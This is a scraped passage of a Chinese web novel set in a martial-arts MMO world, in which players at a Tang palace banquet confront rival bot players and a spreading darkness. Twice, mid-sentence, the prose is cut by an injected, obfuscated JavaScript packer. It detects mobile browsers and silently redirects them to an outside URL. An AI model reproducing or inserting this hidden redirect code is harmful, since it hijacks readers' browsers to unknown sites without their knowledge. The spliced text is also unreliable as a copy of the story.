有内侍监视,付井仪也没有什么多余的动作。他静静地听着行酒令传续下去,手指搭在琴弦上,似乎在等待。 “凤岐紫皇思增彩。”有人道。 熟悉的琴声,熟悉的感觉,李千驰身不由己,刷的一下就站了起来:“我还是续两句。” “李兄风寒一好,精神确实是不错啊。”同僚笑道。 李千驰淡然一笑,亓秀秀方叱羽叶九溪裴洛川从来没在他脸上看到过这种表情,虽然心里有些许担心,但也不妨碍憋笑憋得浑身发抖。 “寻得朱公呼雷霆。王气炯炯凤凰翼——” 旁人接道:“素心耿耿朱雀鸣。” 接下来又是几轮,直到有人说出“双翅昂然频击兔”时,付井仪才略一抬眼。 李千驰已经被平麻了:“三声绝伦欲搏鹰。” 那人又道:“锦冠曾照银汉暖。” 李千驰:“金翮长教丹霄惊。” 接完这一句,他却没有立刻坐下,而是高声说:“斗鸡行酒,快意成诗,也是一大乐事,不知诸位可有纸笔将诗句记下?” 其实不用他说,早就有内侍在一边记录了,此时也是连连应声。得到肯定的回答,李千驰、或者说付井仪才微微颔首,恰好平沙最后一秒结束,他一屁股坐回了座位上。 李千驰觉得自己有点晕琴。 他不无痛苦地朝对面看了一眼,却惊喜地发现,付井仪已经将琴收了起来。 “……” 先不论乐师台上的师襄与亓秀秀,在场的玩家此刻都若有所觉。 记录诗句的内侍还蛮显眼的,付井仪不可能看不到。他选择让李千驰说出那句话,一定是有原因的。 “记好了?给我看看。”陆厌随手就抽出身边内侍手中的本子,上面密密麻麻记了一大页,陆厌一行一行看过去,着重注意借李千驰之口说出的那些句子,看着看着,眉头就是一跳。 “大人,您怎么了?” 内侍突然发现这位御史脸色苍白,一副摇摇欲坠的模样,顿时惊问道。 “不胜酒力……只恐殿前失仪。”陆厌口齿不清道,做出醉醺醺的样子来,“出去吹吹风就好了。” “那我扶您去。”内侍立即道。 “找个宫女扶我就行了。”陆厌随手一指,点中曲小蕨,“就她吧。” 离开火热宴会,清冷的夜风一吹,顿时又让人感觉到几分冬日的寒意。曲小蕨“扶”着陆厌走到门外,一抬头便看到殷炽还在这儿看大门,身后是各位亲眷贵人依次停好的牛车,飞琼倚在车辕上,抱着臂,也在盯着他们看。 也许是脱离了剧情关键点,梨园之外的NPC看守反而没有那么严密,除了把守道道月门的监门卫外,只有小队金吾卫在来回走动。 “这是飞琼。”看见队友走过来,殷炽主动开口介绍,“另一支队伍里的凌雪,和叶九溪一起过来的。” 飞琼闻言,便知道这两人也应当是玩家了。她认真把陆厌和曲小蕨打量了一遍,好奇道:“宴会还没结束,你们怎么就出来了?” 都是玩家,目标一致,陆厌将情况简单地说了一下,便直接道:“剧情应该开始了,早做准备吧。” 殷炽转头看了看飞琼。他本以为“让你排恰鸡结果你排了个啥”队作风如此激进,飞琼必定会和陆厌、曲小蕨二人一起前往开阳门,但没想到,直到二人匆匆离开,她也只是站在原地没动,甚至还抬起手,轻轻摸了摸车边那低头打盹的老牛的头。 另一边,陆厌和曲小蕨离开梨园,曲小蕨熟练地挑了条巡逻侍卫较少的路,直奔开阳门。 在华清宫这几天也不是白待的,像她和柳七刀这样抽到比较自由的身份牌的,几乎可以把这座行宫当成自己家来逛了,柳七刀更厉害,作为金吾卫,他甚至还能看到布防图。 这会儿,夜已经很深了,这条路上的宫灯被风吹着轻轻摇晃,光与暗不断交错着,在地上投下森森摇摆的树影。走得远了,梨园中热闹非凡的乐声也就渐渐淡去了,四周一片安静,只有脚步与草木窸窣的声音。 曲小蕨看着,就问:“你说,‘鬼’会以什么形式出现呢?” “不清楚。”陆厌道,“但是规则中说只有一个‘鬼’存在,而且是找出来就行,说明游戏认为我们基本没有消灭它的能力。” 他故意吓唬曲小蕨:“说不定,‘鬼’连实体都没有,我们根本就没法与它对抗。” 曲小蕨胆子大,根本没听出来陆厌在吓唬她,还赞同地点了点头:“是哦,我们队的小付老师也这么说过。” 陆厌:“……” 现在要是殷炽在这里,估计整个人都已经僵直了。 两人继续往前走,有一搭没一搭地讨论着规则,然而猜想再多、没有现实佐证,都是纸上谈兵。随着二人逐渐接近开阳门,路上的人也变得多了起来,不时能看到巡逻的兵士与未能到宴、漫步宫中欣赏美景的王公贵族。 陆厌打PVE,对大战本也挺熟悉,知道眼前这一幕正渐渐地和华清宫回忆录重合起来。果然,再走近几步,便可以看到,有个人正等候在城门外。 这人是个中年男子,偶尔乱转的眼神和额头上的细汗无一不在证明,此人正处于焦急的情绪之中,就差没直接在宫门前来回踱步了。 这就是剧情关键NPC,“刺虎”行动定下的内应,王三金。 曲小蕨看着他,眉头不觉便皱了起来,因为这人的状态实在是太怪了,也就是人来人往、没什么人注意他,不然随便谁来看他一会儿,就能发现他状态的异常。 “他在急什么?”她不禁喃喃道。 陆厌观察得更细一些,将王三金从头到脚打量了一遍,在看到他垂落身旁、微微发抖的手臂时,碧色瞳孔顿时一缩:“他袖口有血。” 曲小蕨听了,心里也是咯噔一下,闻言看去,果然看到王三金右手袖口处沾了一些暗色污渍,仔细观察一下就能发现那的确是血迹。这些血迹并不明显,看样子不是王三金受伤了,而是在其他地方蹭到的。 二人打量四周,宫门处皆是一派祥和安谧,不远处还有贵族小姐在嬉戏笑闹,不像是发生过什么的样子,陆厌便道:“我去看看。” 他转身走到灯光暗淡的宫墙根边,从小队背包里取出双刀,向开阳门外走去的同时身形一阵模糊,就像墨晕开在水里一样,缓缓融进了夜色之中。 王三金正汗如雨下,忽然感觉脖颈一凉。 他僵住了身形,缓缓低下头,却什么也没看见,但脖子上的触感又确确实实地告诉他,有一把刀的刀背,正抵在他的脖子上。 “别害怕,听我说。” 一个陌生的声音在王三金耳边响起,来人的语气不紧不慢,但压迫感却很强。 “接颜先生书信,‘刺虎’行动计划有变,需要抓紧联系五位江湖侠士。他们什么时候来?你袖子上的血又是谁的?” 陆厌说完,刀背又朝王三金脖子上压了压。单看剧情,他对这些试图挽狂澜于危难之前的NPC还是挺有好感的,但又没办法跟NPC解释太多,只能连吓带骗了——颜真卿的名号和“刺虎”这个代号一说出来,可信度先增加三分;再者,刀架在脖子上,也由不得王三金不信。 陆厌清楚地看见,有一滴汗从这个NPC 的鬓边滚落下来,砸在衣领上晕湿。 “他、他们已经进宫了!” 几乎毫无犹豫,王三金立刻老老实实地开了口。 紧接着,他便如竹筒倒豆子一般,一口气把他知道的全部说了出来: “一刻前,我按原计划带着乔装的衣服,在这里等待五位大侠前来,他们也果然来了,但受了点伤,步履也匆忙,取了衣服、却没扮上便走了,血也是那时候递衣服沾上的;我虽然奇怪,但毕竟也只是个管舞服的,就想着回去,结果这时候……” 他的叙述逐渐熟练:“又来了三位大侠,说是来‘刺虎’的,找我要衣服!” 陆厌握着刀柄的手一紧,就听到王三金还在继续往下说:“我是慌得不行,就问那三人怎么回事,结果为首的大侠跟我说,‘刺虎’行动内有人是叛徒,冒充他们领走了衣服进宫了!” 事情发展到这一步,确实也出乎了陆厌的意料,他刚要思索一番,没想到王三金那边还没说完:“这三人商量了一下,为首的大侠说刺杀安贼的机会难得,孤注一掷也要试试,三人便也翻墙进去了。” 陆厌以为到这里总该结束了,却听见王三金又道:“结果他们前脚刚走,我还没转身呢,后脚又从宫内冲出两个人来,也说自己是‘刺虎’行动的内应,问我那五位大侠的去处……” “……”陆厌沉默。 “后来我就不走了,我寻思肯定还得有人来。”王三金沧桑道,“果然,你就来了。” 噌的一声,陆厌归刀入鞘,又追问:“来的人中,有没有一个背着一盏灯、不太愿意正眼看人的?” 王三金回想一番,眼睛一亮道:“还真有!就是第二批来的那三人之一,和他一起的是唐门大侠和少林高僧,但你问的那人是什么门派,我还真不知道。” 衍天宗此时离出世还有好久,NPC不知道很正常。陆厌又问:“那先后到来的其他几批人都分别有什么特征、往哪去了?” “我只认出第一批人里有五毒和霸刀,其他人都穿得很平常,也没见携带什么武器。”王三金道,“他们先后都往东区去了,但走的不是一条路。” 说完这句话后,他还等着继续回答提问,但等了很久也不见动静。 王三金摸摸脖子,回过头,四周安安静静,月朗风清,一派安宁。 戌时三刻,梨园宴暂告结束。说是结束,其实是贵妃疲乏、故天子车舆先行离去,安禄山也起身告辞,而百官及贵族亲眷依旧可以继续参与这场盛宴,并可于宫中留宿。 陆厌和曲小蕨往回赶的路上,就发现赏景聊天的人逐渐多了起来,逼得他们不得不放慢脚步。 “所以,这意思大概是说,人机已经汇合了、并且先到一步,拿走了梨园衣饰?” 曲小蕨“扶”着陆厌,眉头拧得能打结,忧心忡忡。 毕竟行守可是先一步跟踪人机去了,也不知道现在在哪里、安不安全。 “既然祝灵正他们是稍后才到的,那就说明,有三个人顶上了他们的空缺名额,和五毒霸刀一起作为大战玩家领走了梨园衣饰。”陆厌道,“只是不知道,人机这么做到底是为了什么。” 他略一沉思:“我感觉人机队伍,可能掌握着一些玩家们并不知道的情报。” 边说边走, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691188|173353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两人也能依稀听到梨园宴上传来的乐声了。比起离席时丝竹合奏的壮丽,现在的琴声,听来更像是酒酣之后的随手撩拨,有种缱绻慵懒的闲适感。 “散场了?”曲小蕨情不自禁加快步伐,“三拨人都来了,什么都没发生?” 陆厌也心中疑惑,不过他倒是不太担心留在梨园的玩家,毕竟那是四支队伍,主打一个人多势众。只要注意别崩坏角色设定,应该是无论如何也不会在人机面前落了下风的。 想到这里,他突然心头一凛。 对啊,虽说人机的存在就是为了给玩家增加PVP难度的,但是一边倒的PVP又有什么难度呢?就算游戏给玩家设定了不能OOC的规则作为限制,还不是被饿了么队那几个奇葩找到了挡脸卡bug的规避方法? 再者,据龙池乐所说,第五天内本来应该不止兰瑾那一队人机玩家的,是兰瑾他们抢先消灭了所有人机,才导致了现在这样多对五的局面;他们之所以敢这么做,一定是有什么倚仗。 他正想着,衣摆却被曲小蕨拉了一下。 “好像有点不对。”这小毒萝非常警醒,严肃道。 他们此时已经快走到梨园之前,但不知何时,这一路上,竟然渐渐地看不到巡逻的侍卫了,甚至连时常巡察的小队金吾卫都不见踪影。远远望去,外面停着的那些装潢豪华的牛车倒是还在,但牛却不见了,更不用说站岗的监门卫。 连殷炽和飞琼,也不见踪影。 曲小蕨反手从小队背包里抽出太上忘情,“我先召唤天蛛去看一眼。” 在浪客行里通过的天数越多,可供发展的技能方向就越多。 有很多NPC在游戏剧情里用得风生水起、玩家却从来没学过的技能,在赵云睿那里,都可以用玉签换到。 这其中,就有五毒教天蛛使衣旎在黑山林海剧情中用过的那招——利用天蛛探听他处的消息。 从第四天回来之后,曲小蕨发现她的天蛛宝宝有了两个截然不同的进化方向,一个是继续保留本体,另一个,则是将本体分裂成无数可供驱使的小蜘蛛。两种方向各有利弊,分裂后的小蜘蛛数量多、行动敏捷、不易发现,但相对的,那么小的体型和视野代表着它们几乎没办法向驱使者共享视觉,也毫无自保能力。 曲小蕨想了半天,虽然一挥手唤出蜘蛛大军很帅,但是她还是愿意她的宝宝强大一点。 虫笛响起,天蛛现形,很是机智地顺着墙根、窸窸窣窣地朝举行宴会的花园爬去了。 她闭上眼睛,清楚地看到了由天蛛反馈回来的灰白的画面。 ——牛车的队列乱掉了,车上那些精心挑选的桃花枝已经散落了一地,被碾成了零落的花泥,像是有一股巨力突袭过这里。 ——门口横七竖八地倒着一些金吾卫与监门卫,双眼紧闭,胸前尚有微弱的起伏,是晕过去了。 ——花园中,司膳局带来的小炉倒扣在地上,已经熄灭的炭灰和草木灰都撒了出来,上面斑驳地留着被人踩踏过的痕迹。 ——几张长桌翻的翻、倒的倒,昂贵的珍馐全数被打翻在地,一片杯盘狼藉。 天蛛的几只步足轻轻挪动着,爬过翻倒的长桌,来到了宴会正中心。 随着它视角的逐渐上移,曲小蕨的心跳也跟着空了半拍,差点叫出声来。 只见面前的梨园,犹如一张扭曲的画卷,正在飞快地被黑暗所蚕食。 院墙、楼阁、亭台、水榭,黑暗所蔓延之处,它们都像被无形的橡皮擦去一样迅速地溶解消失,就好像有人在画布上打翻了一瓶墨水,而这瓶墨水还在逐渐向这副画卷的其他部分渗透。 没有人,天蛛的视角里,一个人也没有。无论是他们的队友,还是人机,亦或是那些还没离开宴会的NPC,都不在这里。 在被黑暗吞噬之前,天蛛转过头,向梨园外狂奔! 眼前的画面像开了倍速一样,突然变得模糊不清,曲小蕨忍着头晕,还是从几个一闪而过的画面里捕捉到了一些细节:蜿蜒在地的华丽刺绣被染成不祥的暗红,碎瓷片下隐约露出一段带血的刀刃,这代表着,这里曾经有过一战。 睁开眼睛时,她已经是浑身冷汗,召回天蛛,对陆厌急急叫道:“快跑!” 陆厌也是干脆利落,虽然不知道发生了什么事,但反应依旧极快,一抬手就把那身文官外袍甩了下来,甚至还顺手撕了块布料蒙在了脸上。 他看曲小蕨脸色惨白,知道大概是发生了什么不得了的大事,也没多问,只是狂奔的同时抽空回了一下头。 这一回头,陆厌便恰好看到,半个东区正被吞噬进黑暗之中。梨园门口那些昏倒的金吾卫和监门卫连挣扎都没有,就被那张黑暗的巨口卷入消失了。饶是他心性冷静,此时也不由得大骇,更是想到了那些留在梨园宴的队友,但黑暗前进的速度极快,纵使陆厌心急如焚,却也只能咬咬牙,继续狂奔。 “站住!什么人?!” 巡逻的金吾卫看到二人飞也似地冲过来,当即拔刀喝问。然而,不等他们拦下二人,便看到不远处的景象竟然寸寸坍塌,铺天盖地的黑暗将夜空都吞噬殆尽,仿佛连接着另外一个空间。 天崩地裂,也不过如此。 随着紧促的锣声被敲响,恐慌从东区开始蔓延。本来悠闲赏月的王公贵族四散奔逃,大批金吾卫赶到现场,寒刀出鞘却无从索敌,那些跑得较慢的,连叫都叫不出声,便被黑暗吞没了。 而那黑暗,吞噬的人和物越多,速度就越快,到最后,几乎像一道横扫过来的黑色焚风,以常人的速度根本无法与之匹敌。 曲小蕨正跑着,脚下突然踩空,整个人就不受控制地向后倒去,眼前的光亮急速缩小,大片的黑暗瞬间占据了视野。 在这个关头,她的大脑一片空白,只有一个强烈的念头——我得活着! 只有活下去,才能明白发生了什么事,才能知道大家都去了哪里,才能在最坏情况发生的时候,留下一丝希望。 这种时候,身体反应已经远远地超越了思维,更像是一种本能,堪堪停下脚步的陆厌回头看去,便看到半空紫光一闪,曲小蕨化蝶前跃、从那片黑暗之中冲了出来! 然而,吞噬了更多宫阙楼阁的黑暗在此时也猛然暴涨一截,她还没站稳,眼看又要被拉进那深渊之中。 ——不甘心,不甘心,曲小蕨握着太上忘情的手用力到在掌心都留下了笛身花纹的血印,却忽然眼前一花,整个人已经被高高抛起,脱离了那张黑色的巨口。 她在半空看得清楚,是陆厌幻光步到了她身后,将她甩了出去。 那一瞬间其实很短暂,短暂到两个人的脸上甚至来不及有表情,曲小蕨只看到陆厌抬头看了她一眼,随即便交出了一个暗尘弥散,隐去了身形。 下一秒,黑暗就吞噬了他所站的地方。 “陆厌!” 曲小蕨惊叫道,同时背后猛地一疼,闷哼了一声。 她只死死地盯着那个地方,忘记了控制身形,撞在道旁一棵茂盛的桃花树上,撞断了好几根树枝,带着满头满身凌乱的枝叶花瓣,摔进了花丛。 裸露在外的皮肤满是血痕,她翻过身艰难地爬起来,顾不上胸腔火辣辣的疼痛和压迫到眼前的黑暗,叫道: “陆……” “又怎么了?” 陌生的声音响起,曲小蕨一愣,再抬眼时,黑暗褪去,自己正坐在一张璨花案前,手里捏着一支笔。 一位衣着华贵的中年女子站在身边,正皱着眉头,眼中带着不赞成的神色,凝视着她。 “你若是一直这样没个正形,那梨园宴,我便不带你去丢人了。” 41. 第五天·华清宫(四十一) “——这孩子,越大越不稳重了。” 侍郎夫人站在门廊下,看着曲小蕨越跑越远的身影,无奈地叹了口气。 这句话,曲小蕨听见了,但是没敢给出反应,头也不回地继续拔足狂奔。 虽然还没搞明白梨园宴上到底发生了什么,但可以确定的是,剧情已经重启,玩家们也重新被分配了身份,曲小蕨这次不再是华清宫里的小宫女,摇身一变,成了侍郎家中的小女儿。那姑娘大概原本也是个活泼好动的性子,是以曲小蕨借口出去玩耍、跑出府邸时,NPC们只是象征性地拦了一下,也就一副习以为常的样子,随她去了。 “砰!” 正跑着,只听一声巨响,曲小蕨突然被凭空撞得连连倒退,要不是身体素质早就变强了,这会儿估计已经摔了个屁股墩。 这一下撞得不清,她两眼直冒金星,但等到站稳了定睛看去,眼前却分明什么也没有。 额头还在剧烈疼痛,曲小蕨不信邪地上前两步,抬手在空中摸索,就看到眼前的空气似乎在微微颤动,像水波那样轻柔而不易察觉地荡漾着。 远处坊市林立,依旧热闹非凡,但却有一层看不见的屏障,将她的“家”和热热闹闹的长安城隔离开来。 “空气墙?” 她一皱眉,上上下下地摸索着这堵透明的墙壁,试图找到突破口。这动作有些显眼,更是滑稽,路边往来的行人纷纷向她投来疑惑的眼神,伴随着这眼神,曲小蕨突然感到一阵危险的心悸,赶紧将手放下来,站直身体。 OOC警告。 眼看着到了午饭时间,在侍郎夫人遣人上街之前,曲小蕨面色苍白,满手是血,捂着鼻子自己回来了。违反规则的惩罚是游戏给出的,疼爱“女儿”的夫人对这一幕惨状视而不见,场面透露着一种诡异而生硬的和谐。 碰壁一上午,曲小蕨基本可以确定,第五天的地图除了华清宫和骊山之外,细节一塌糊涂,到处都是空气墙,根本找不到有用的线索,这个设定基本上相当于把她软禁在府中了。 她心事重重,午饭也吃得不多,吃完饭不愿意睡觉,就在院子里坐着发呆。 被黑暗吞噬的感觉其实来得快去得也快,甚至来不及恐惧,只是不知道陆厌怎么样了,而留在梨园宴的那些人又遭遇了什么。 曲小蕨原本觉得第五天的设定还挺有意思,能和其他队伍的朋友们在一起也让人很开心,但现在看来,他们倒像是被扔进了全是死胡同的迷宫里,这几天过下来,根本就是一种漫长的折磨。 这么想着,她却突然隐约听到了有几分耳熟的声音。 那声音就是从隔壁院子里传来的。 初冬的天气稍微有点冷,但阳光很好,落在身上,也让人有种暖融融的感觉。 裴洛川捏着一面铜镜,双目无神地躺在软榻上,旁边侍女端着小手炉,柔声细语地劝道:“小姐,天冷了,揣上这个吧。” “我不冷,快拿走。”裴洛川看了一眼那用水红色碎花缎包裹起来的铜手炉和笑吟吟凑近的侍女,垂死挣扎,“你也走。” 小姐说话自然是要听的,侍女虽然不解,还是端着手炉走了。裴洛川松了口气,刚端起手边的茶灌了一口压压惊,就听到一旁墙头上冒出个声音来。 “裙子都穿上了,还怕拿个手炉?” “噗!” 裴洛川一口茶喷出四五米远,赶紧掏出手帕擦拭唇角。抬头一看,曲小蕨扒着墙头露出个脑袋,作势要往这边爬。 他额头青筋一跳,低声道:“走正门!” 一番繁琐通报和见礼后,曲小蕨光明正大地走进了尚书府,这里倒是没有随处可见的空气墙。 尚书府的千金“裴姑娘”在小院中见客,屏退下人后,两个人相顾无言,都看见了对方额头上隐约的红肿,确认过眼神,是撞过墙的人。 曲小蕨看见裴洛川还攥着镜子,知道他特别注重形象,想了想,安慰他道:“没事,你比尹有攸和谢不若好看多了。” 裴洛川沉默握拳,心说我也不是很想和他俩比。 确认过对方精神状态尚佳——或许不佳,但曲小蕨已经等不及了。她连珠炮似的扔出了一连串问题:“那天晚上,在我和陆厌走之后,梨园都发生什么了?我看现场有血,打起来了吗?是和人机吗?谁受伤了?” “……”裴洛川皱起眉,叹了口气,“一言难尽。” 他抬手斟了两碗茶,一碗推给曲小蕨,先简明扼要地回答了最重要的问题:“打起来了,不过没人出事。” 午后,风渐渐大了点,院里苍翠草木在微冷的风中窸窣摇曳,随着裴洛川低声的讲述,苍白的日色也渐渐隐入厚重云层之后,光线暗淡下来,他们似乎又回到了那个混乱的夜晚。 参与梨园宴的玩家有很多,但有些人来得晚,有些人走得早,裴洛川恰巧是为数不多的、从头到尾一直在场的玩家之一。 那晚,陆厌和曲小蕨出去没多久,贵妃就说要回去休息了,天子车驾带着两队千牛卫浩浩荡荡地离开,安禄山也随即推说一路风尘颠簸,先行离去。 虽然梨园宴的主角已经离场,但唐朝本就是一个宴乐之风盛行的朝代,即使玄宗已经回到了中区,宴会却仍在继续,气氛也更加高涨热烈。 那时候,所有人的注意力几乎都放在了英怀珠身上,毕竟这位由公孙二娘教导出来的梨园代教习就是大战本的一号boss,而玩家与她的战斗地点正是宴席旁的乐师台。不过在游戏中,玩家潜入华清宫时,乐师台上只有英怀珠一人,此刻席上却仍有很多官员。 裴洛川环顾一圈,眉头就皱了起来。这里这么多NPC和玩家,肯定不能都乌泱泱地跑到英怀珠面前去等着看大战,也许只有等人走完了、梨园宴彻底结束,“大战”才能正式开始。 他一边在心里思索,一边犹豫是否应该离席。而在这段时间里,又陆续有人起身告辞,连内侍也撤走了一批,眼看着席上就只剩寥寥几人了,除了耽于饮酒作乐的NPC,几乎全是自己人,裴洛川也渐渐放松了一些。 变故就是在这个时候发生的。 大家都在看英怀珠,几乎没人注意到,从梨园的入口处又进来了一队人。 这本身就是一件很奇怪的事,因为梨园外有金吾卫巡逻,还有监门卫值守。宴会中的人当然可以随便出去,但外面的人若是想进来,都要先经过二次通传,想悄无声息地从正门进入,几乎是不可能的事情。 但偏偏他们就那样进来了,没有被通传、没有被阻拦,也没有引起任何人的注意。 如果此刻进行讲述的人不是裴洛川,而是殷炽的话,他会告诉曲小蕨,在那些人走来的瞬间,他突然恍惚了一刹。 今晚是剧情的关键节点,虽然受限于监门卫的身份,殷炽只能在外面看大门,但他没有一刻放松,时刻注意梨园内外来往之人的一举一动。 他本来就是谨慎求稳的性格,更别提在警戒人机的同时,还要关注着周围是否存在那种浪客行制造出来的可以用磁场进行科学合理解释的数据(民间俗称“鬼”),那当真是精神紧张到了极点,连一丝风吹草动都不会被放过。 而那队人穿过其他金吾卫和监门卫的看守,径直走了过来,就那么轻轻松松地经过了无比警惕的殷炽的身前。 如果说人的精神就像脑海里紧绷的一根弦一样,那么在那个瞬间,殷炽脑海里的那根弦,突然毫无预兆地松了下来。 他模模糊糊地意识到,这里的一切都非常正常,所有人、所有事都在按照既定的轨道前进着,这是一个平静的夜晚,他不需要一直那么紧张。 他无视了这些人,将目光投向更远的地方。 另一边,正在摸鱼……摸牛的飞琼也看到了那一行人,她的反应和殷炽如出一辙,只是扫了一眼,就毫不在意地移开了视线。 于是,那队人就走了过去。 他们只把殷炽和飞琼当做普通的NPC,连说话都没什么回避的意思,离得最近的时候,那群人手臂上缠绕着的披帛被夜风扬起来,几乎划过了殷炽的面前。 他听到有人笑着说:“这个梨园服饰道具真好用,围上这个披帛之后,NPC果然都会把我们的行为合理化。” 潜意识深处,殷炽感到了隐约的危险。 他的感官和思维都在不遗余力地告诉他,一切正常,但他的心跳越来越快,呼吸也逐渐变重,额头上渐渐沁出了一层冷汗,手也不自觉地摸向了腰间的佩刀。 “理智”告诉殷炽,这里没有什么危险,他应该相信自己的判断;但与此同时,在浪客行中千锤百炼出来的战斗本能已经被唤醒了,他身体紧绷,莫名地在“安全”的环境下,做出了应战的准备。 这不对,一定有什么不对。殷炽缓缓转身,看向梨园宴的现场。此时,那一行人已经不紧不慢地走了进去,内侍并未对他们进行通传,六尚局的司仪女官们也毫无反应。在殷炽眼里,这一幕无比正常,但他心里清楚,这种正常,恰恰就是不正常的来源。 他死死地盯着那行人的背影,努力和自己的本能对抗,手已经紧紧地握在了佩刀的刀柄上,随时准备将它替换成小队背包里的链刃。 直到有人比他先抽出刀来,薄而锋利的刀刃发出一声低沉的铮鸣,反射出的那一点寒光落在殷炽的眼里,犹如一盆冷水当头浇下。 ——他好像从一场混沌的梦里猛地惊醒,就看见那走进梨园的哪是什么普通宫人,分明是身着不同门派衣饰的五个玩家,柔软绮丽的舞服长披帛绕在他们的手臂上,随夜风轻柔地飘动着,像一场并不起眼的幻梦。 再定睛一看,他顿时惊出冷汗来,猛地前跨两步,急促拍向还在走神的飞琼的肩膀。 花间,霸刀,明教,五毒,刀宗,他们是人机玩家! “就算进来了,但哪些是玩家、哪些是NPC,我们也认不出来呀。” 人机队伍在宴会长桌前停下脚步,打量着周围无知无觉的人们,阿攸小声抱怨道。 殷炽刚将飞琼从那种朦胧的状态中叫醒,便听到为首之人的声音遥遥响起。 “无妨。”说话的青年明明语带笑意,但听起来却冷冰冰的,“这不是有熟人在么?” 殷炽看到了、又听到了什么,身在宴席的玩家们并不知道。 一阵夜风吹过,裴洛川垂眼,看到有片花瓣落在了杯中,泛起层层涟漪。 他端着杯子的手突然微微一顿,一种焦躁感在心头涌起,左右看了看,零星几个没走的NPC还在说说笑笑,乐师台上婉转低回的琴音也在继续,好像没什么值得注意的地方。 他这样想着,抬眼,不经意间和另一个人对上了目光。 那人和他一样,是个花间,站在离他的坐席有段距离的地方,即使对上视线,表情也并没有变化,眼神平淡而冷漠,有几分打量的意味。他身后还站着其他人,这些人手臂上都缠绕着梨园弟子常用的那种织彩披帛,在夜风中舒展地飘扬着,醒目又瑰丽。 裴洛川和殷炽一样,忽略了这一幕的不同寻常之处。他垂下眼睛,在心里想着喝完这杯茶就起身离席,低头却发现自己的五指正紧紧地攥住茶杯,是一个充满了戒备的、紧张的姿态。 他放下茶杯,焦虑感越来越重,甚至感觉有些坐不住了,不由得再次抬头看向四周,但周围的情况一如既往,丝竹靡靡,觥筹交错。 那个花间已经不再看他了,目光继续在宴席间来回逡巡,寻找着什么。随着视线扫过一张张不同的面庞,他的嘴唇也微微翕动,似乎在清点数量。 裴洛川看着那个人,从这个动作里读到了一丝危险的意味,却不知道为什么自己会觉得危险。他甚至没有意识到,在不知不觉间,他已经判断那个人是“花间”,是有别于华清宫NPC的存在。 真正让他惊醒的是杯子滚落在桌上、和碗盘碰撞时发出的清脆响声。裴洛川闻声望去,竟看见失手碰倒杯子的是叶九溪。 听到这里,曲小蕨“啊”了一声,道:“所以那真的是兰瑾本人?人机混进宴会了?” 她恍然大悟,突然明白了人机要冒充大战组玩家去找王三金的原因。听裴洛川描述,人机穿戴上王三金给出的“梨园服饰”披帛,行为在NPC眼里就变得正常了起来,就好像在游戏里换上梨园服饰就能把所有红名NPC变成绿名一样,他们拿到的披帛,应该属于一种混淆道具。 “是啊,的确是他。”裴洛川叹了口气,“其实李千驰他们之前在客栈也悄悄去翻过赵云睿的本子,但在亲眼看到之前,总还是抱着一点希望的。” 结果人家上来指名要先杀他俩,这谁接受得了。 “等等,那你们不是非常危险吗?”曲小蕨也想通了,怒道,“当着NPC的面,人机可以随便动手,但是你们的表现却不能OOC,这规则也太不公平了吧!” “是这样的,不过,玩家们不能‘崩坏设定’的这条规则,其实也是一种保护。”裴洛川道,“人机不能攻击NPC,所以只要我们能保持人设,他们就很难区分NPC与玩家……当然,前提是人机不认 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691189|173353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 识我们。” ——但是兰瑾在第二天就见过“蓬莱哪里得罪你们了为什么要被分到这一”队,他认得每一个人的脸,尤其是李千驰和叶九溪。 曲小蕨也紧张起来:“然后呢?没有人出事吧?” 裴洛川的表情变得微妙起来,显得有些一言难尽:“呃,大家或多或少都受了点伤,倒是不太严重。那个披帛道具将使用者行为合理化的程度有限,所以人机的动作也不大,只是我们没办法还手,情况就比较糟糕。但是……” 他酝酿了一下怎么开口,开始斟酌语言,最后也只是干巴巴地说了句: “就,挺牛的。” 在察觉到同伴的异状之后,大家接二连三的从那种像被催眠了一样的奇怪状态里清醒过来,但受制于规则的限制,却并不能有什么大动作。 “哎,李兄,你怎么不喝了?” 坐在李千驰旁边的同僚笑着端起杯子:“虽然无缘美酒,但痛饮一杯,方能不负今晚盛宴啊!” 李千驰抽动嘴角,眼睛看着他背后提刀慢慢走过来的云流岚,心说还喝个头啊,再不跑马上就要去喝孟婆汤了! 他背在身后的手已经准备从小队仓库里取出长枪了,但是同僚还兴致勃勃地在等他干杯。宴会到了尾声,留下的NPC其实不算特别多了,但坐得都很分散,四面八方分布着无数双眼睛,即使是无意间被余光扫到,都可能会带来灭顶之灾。 说时迟那时快,眨眼之间,众人脚下的地面突然微微颤动了起来,桌上的杯盘碗筷也被震得咯咯作响,亭边的水面泛起层层波澜—— 连一直一脸冷漠的兰瑾等人也猝然扭头看去,就看到从梨园正门处尘土滚滚,再一细看,一群发狂的牛直直地狂奔了进来,在席间横冲直撞! ——物理意义上的牛。 NPC再瞎,也被这群牛惊了一大跳,不少人就从席位上跳了起来,大声呼喊外面的金吾卫。然而,大多数侍卫已经被人机玩家在进来的路上随手放倒了,只有几个在院内站岗的侍卫匆匆跑过来,但他们也是势单力薄,根本拦不住已经发狂的牛。 不消片刻,梨园宴已经是一片狼藉、人仰马翻,连桌子都被牛群顶翻好几张,NPC四散奔逃,现场变得混乱不堪。裴洛川随便找了张桌子做掩体,先给了底下躲藏的NPC一记手刀让他去睡觉,这才将璃光浮远握在手心,松了口气。 